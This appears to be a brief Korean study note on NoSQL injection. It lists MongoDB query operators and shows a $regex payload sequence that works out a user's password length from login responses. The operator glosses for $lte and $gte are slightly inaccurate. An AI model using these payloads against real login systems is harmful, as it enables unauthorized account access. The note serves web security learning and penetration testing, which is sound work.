웹 해킹 - NoSQL Injection 조건 표현식

https://book.hacktricks.xyz/pentesting-web/nosql-injection

NoSQL injection - HackTricks

 

 

[$ne] : 같지 않을 경우(not equals)

[$regex] : 정규표현식

[$eq] : 같다(=)

[$lt] : 작다(<)

[$gt] : 크다(>)

[$lte] : 작거나 같다(<)

[$gte] : 크거나 같다(>)

 

 

$regex로 패스워드 길이 알아내기

"password": {"$regex":".{1}"} => admin

"password": {"$regex":".{2}"} => admin

...

"password": {"$regex":".{5}"} => admin (5 글자!)

"password": {"$regex":".{6}"} => undefined